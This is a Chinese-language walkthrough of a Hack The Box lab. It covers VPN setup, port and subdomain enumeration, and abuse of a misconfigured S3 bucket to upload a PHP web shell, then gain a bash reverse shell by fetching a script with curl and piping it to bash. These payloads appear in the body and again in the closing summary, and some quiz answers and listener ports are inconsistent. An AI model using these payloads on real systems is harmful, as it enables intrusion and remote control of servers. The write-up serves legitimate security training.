HTB靶场实战OpenVPN加速以及ping不通问题解决

首先我们先看一看怎么在window和kali上同时挂上openvpn能够访问到我们的靶机

这就意味着我们需要同时下载UDP和TCP的连接文件

都需要进行下载,我在kali上用的是TCP首先我给我的kali挂上了clash,然后修改了openvpn的代理端口让我的kali流量走代理出,这样可以加速访问。

如上所示进行修改,注意我的kali用的是虚拟机里面的WSL,大家可以找别的用也是一样的

然后我打开WSL用root进行了连接

可以看到连接成功,然后我们ping一下靶机

可以看到实测延时在两百多,这是正常的然后我们多了一张名为tun0的网卡,注意这个网卡的名字一定是tun开头的,如果不是就肯定是没挂上openvpn。到此我们的kali机成功通靶场了,然后就是window机器,一样的window机器我们需要进行一定的修改去加快我们的访问速度,但是当然我这里没修改也成功ping通了,如果大家ping不通就在openvpn文件加上socks-proxy 127.0.0.1 7890 即可,当然前提也是挂了clash的情况下。

如下可以看到我成功ping通了

延时也是在200多,这是正常的。

查看ip也可以看到自己多了一张网卡

注意这个网卡和kali上的网卡一定是不一样的。如上我们就配置完成了

那么我们来完成这个靶场吧

当然以上只是加速方法是有弊端的,我建议还是能直接连就不要挂代理

靶场介绍

各种类型、规模和行业的组织都在使用云服务来满足各种各样的用例,如数据备份、存储、灾难恢复、电子邮件、虚拟桌面、软件开发和测试等。因此,为了防范各种攻击,拥有安全的公司云基础设施配置是至关重要的。

这里有一台Linux服务器,它包含一个网站,该网站使用AWS S3存储桶作为其云存储设备。我们可以利用这个配置不当的S3存储桶,向其中上传一个反向shell文件。然后我们可以访问相应的URL来执行这个反向文件,最终获取flag。

注意:在启动机器后,请等待几分钟让其完全启动,因为localstack需要几分钟时间来加载。

1.开放了多少个 TCP 端口?

还是用我们惯用的扫描方式

nmap -p- -sV -sC --min-rate=1000 10.129.126.143

如上进行扫描,可能有人会对上一篇的扫描命令有些疑问

nmap -p- -sV -sC --min-rate=1000 10.129.126.143
和
nmap -p- -sV -sC --min-rate 1000 10.129.126.143
实际上是等效的,就是没有区别

说实话用了半天pwnbox还是用自己的机器爽

我们这个命令优点就是比较全,当然缺点就是比较慢因为是-p-扫描65535个端口,如果用上面的命令没有扫到的话请去掉 --min-rate选项因为加速会导致有些端口被忽略特别是在延时比较高的情况下

在这里大家要是追求速度的话可以直接

nmap -sV 10.129.126.143

我们这里选用

nmap -sV -sC 10.129.126.143

因为网络确实不好会有很多东西扫不出来,但是这里因为nmap扫描太慢了所以我打算开个挂。我用了fscan进行扫描

可以看到开放的就两个端口一个是80一个是22,应该80也算是TCP端口了

所以答案是2

我们尝试访问一下网站看看怎么个事

可以看到是一个乐队官网然后我们看到下一题

2.网站“联系”部分提供的电子邮件地址的域名是什么?

这里在官网上就显而易见了

mail@thetoppers.htb

所以答案是thetoppers.htb

3.在没有 DNS 服务器的情况下,我们可以使用哪个 Linux 文件将主机名解析为 IP 地址,以便能够访问指向这些主机名的网站?

这个其实是常识

答案是/etc/hosts

4.在进一步枚举过程中发现了哪个子域?在进一步枚举过程中发现了哪个子域?

这里问我们子域,我们已经知道了这个的域,那我们就给他先添加到我们的hosts里面去

echo "10.129.126.158 thetoppers.htb" | sudo tee -a /etc/hosts

如果在linux那就直接这样就行了,我们用的是window就需要找到C:\Windows\System32\drivers\etc\hosts这个位置修改hosts文件

然后保存

根据我们之前学的内容知道gobuster可以如下进行目录扫描,并可以制定文件类型

gobuster dir --url http://10.129.126.143/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x html,php

但是这里明显是子域名扫描的内容所以我们需要学习gobuster的另一个用法

子域名枚举

什么是子域名?

子域名是在网站域名前添加的额外信息片段。它允许网站将特定功能的内容(如博客或在线商店)与网站的其他部分分离开来并进行组织。

例如,如果我们访问 hackthebox.com,我们可以访问主网站。或者,我们可以访问 ctf.hackthebox.com 来访问用于CTF的网站部分。在这种情况下,ctf 是子域名,hackthebox 是主域名,com 是顶级域名(TLD)。虽然URL略有变化,但您仍然在HTB的网站上,位于HTB的域名下。

通常,不同的子域名会有不同的IP地址,所以当我们的系统查找子域名时,它会获得处理该应用程序的服务器地址。也可以让一台服务器处理多个子域名。这是通过"基于主机的路由"或"虚拟主机路由"来实现的,服务器使用HTTP请求中的Host头来确定哪个应用程序应该处理该请求。

由于我们有了域名 thetoppers.htb,让我们枚举可能在同一服务器上存在的其他子域名。有不同的枚举工具可以用于此目的,如 gobuster、wfuzz、feroxbuster 等。在本教程中,我们将使用 gobuster 进行子域名枚举,使用以下命令。

gobuster vhost -w /opt/useful/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://thetoppers.htb

当然在这之前我们需要把字典下载下来

mkdir /opt/userful
git clone https://github.com/danielmiessler/SecLists

当然如果大家git不下来的话也可以wget本质上没区别,这个字典是比较大的,大概2.3个G

我们对我们运行的gobuster的命令进行一些解释

vhost : 使用VHOST进行暴力破解
-w : 指定字典文件的路径
-u : 指定URL地址

注意:如果使用Gobuster 3.2.0及以上版本,我们还必须在命令中添--append-domain标志,这样枚举就会考虑到已知的虚拟主机(thetoppers.htb),并将其附加到字典文件中的每个单词后面(word.thetoppers.htb)。

我们这里的gobuster是3.6的所以我们需要加上--append-domain

gobuster vhost -w /opt/useful/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://thetoppers.htb  --append-domain

GoBuster会为字典中的每个单词发送带有如下主机头的请求:

Host: [word].thetoppers.htb

它会记录默认响应,并显示任何返回不同内容的响应。

我这里不知道因为什么原因导致wsl不能够执行gobuster ,window也不行很奇怪,于是我重新给我的真正的kali虚拟机上了openvpn

然后就可以了,我服了wsl还是存在限制性,这里建议大家还是使用kali机上vpn好多了

gobuster的结果显示存在一个名为s3.thetoppers.htb的子域名。让我们也在/etc/hosts文件中为这个子域名添加一个条目

echo "10.129.126.158 s3.thetoppers.htb" | sudo tee -a /etc/hosts

在我们向hosts文件中添加了该域名的条目后,让我们使用浏览器访问s3.thetoppers.htb。

可以看到的是我们curl这个域名的时候成功返回了running的状态码

这个是window访问的我们使用kali试试

当然我们这里要使用专用的渗透浏览器,不然就会导致说是变成搜索内容了

5.发现的子域上正在运行哪项服务?

Amazon S3

s3 谷歌搜索可知道是这个服务

后面的题我们打算直接打完然后再直接写答案

什么是S3存储桶?

通过快速Google搜索包含"s3 subdomain status running"关键词的内容,可以找到结果显示S3是一个基于云的对象存储服务。它允许我们将东西存储在称为"存储桶(buckets)"的容器中。AWS S3存储桶有各种用途,包括备份和存储、媒体托管、软件分发、静态网站等。存储在Amazon S3存储桶中的文件被称为S3对象。

我们可以借助awscli工具与这个S3存储桶进行交互。在Linux上可以使用以下命令安装:

apt install awscli

首先,我们需要使用以下命令进行配置。

aws configure

我们将为所有字段使用任意值,因为有时服务器被配置为不检查身份验证(尽管如此,为了使aws正常工作,仍然必须配置一些值)。

我们可以使用ls命令列出服务器托管的所有S3存储桶。

aws --endpoint=http://s3.thetoppers.htb s3 ls

我们也可以使用ls命令来列出指定存储桶下的对象和常见前缀。

aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb

我们看到在指定的存储桶中有文件index.php、.htaccess和一个名为images的目录。这似乎是运行在80端口网站的web根目录。所以Apache服务器正在使用这个S3存储桶作为存储。

awscli还有另一个功能,允许我们将文件复制到远程存储桶。我们已经知道网站使用的是PHP。因此,我们可以尝试将一个PHP shell文件上传到S3存储桶,由于它被上传到web根目录,我们可以在浏览器中访问这个网页,这将反过来执行这个文件,我们将实现远程代码执行。

我们可以使用以下PHP单行代码,它使用system()函数,将URL参数cmd作为输入并将其作为系统命令执行。

<?php system($_GET["cmd"]); ?>

让我们创建一个要上传的PHP文件。

echo '<?php system($_GET["cmd"]); ?>' > shell.php

然后,我们可以使用以下命令将这个PHP shell上传到thetoppers.htb S3存储桶:

aws --endpoint=http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb

我们可以通过访问 http://thetoppers.htb/shell.php 来确认我们的shell已上传成功。让我们尝试使用URL参数cmd来执行操作系统命令id。

服务器的响应包含了OS命令id的输出,这验证了我们已经在目标机器上获得了代码执行权限。因此,现在让我们尝试获取一个反向shell。

通过反向shell,我们将触发远程主机连接回我们本地机器上指定的监听端口。我们可以使用以下命令获取本地机器的tun0 IP地址:

ifconfig或者ip a

让我们通过创建一个包含以下bash反向shell载荷的新文件shell.sh来获取反向shell,该载荷将连接回我们本地机器的1337端口。

#!/bin/bash
bash -i >& /dev/tcp/10.10.16.25/1337 0>&1

让我们在本地机器的8000端口启动一个web服务器来托管这个bash文件。这里需要注意的是,启动web服务器的命令必须在包含反向shell文件的目录中运行。所以我们必须首先切换到相应的目录,然后运行以下命令。

python3 -m http.server 9999

然后我们要确保

http://10.10.16.25:9999/

一定访问的到

然后我们在我们的s3存储桶的木马上执行

http://thetoppers.htb/shell.php?cmd=curl http://10.10.16.25:9999/shell.sh | bash

可以看到我们成功弹shell了

6.哪个命令行实用程序可用于与在发现的子域上运行的服务进行交互?


awscli

7.哪个命令用于设置 AWS CLI 配置?


aws config

8.上述实用程序使用什么命令来列出所有 S3 存储桶?

awd s3 ls

例如:aws --endpoint=http://s3.thetoppers.htb s3 ls

9.该服务器配置为运行以哪种 Web 脚本语言编写的文件?

我们打进去之后就可以ls看到了

php

10.提交根标志


那么这篇主要复习和学到的东西我列一下

gobuster dir --url [网址] --wordlist /usr/share/wordlist/rockyou.txt -x html,php
gobuster vhost -w /opt/useful/....  -u 【域】 --append-domain
aws config
aws --endpoint=【存储桶】s3 ls
aws --endpoint=http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb
python -m http.server 9999
nc -lvnp 9999

#!/bin/bash
bash -i >& /dev/tcp/10.10.16.25/1337 0>&1

http://thetoppers.htb/shell.php?cmd=curl http://10.10.16.25:9999/shell.sh | bash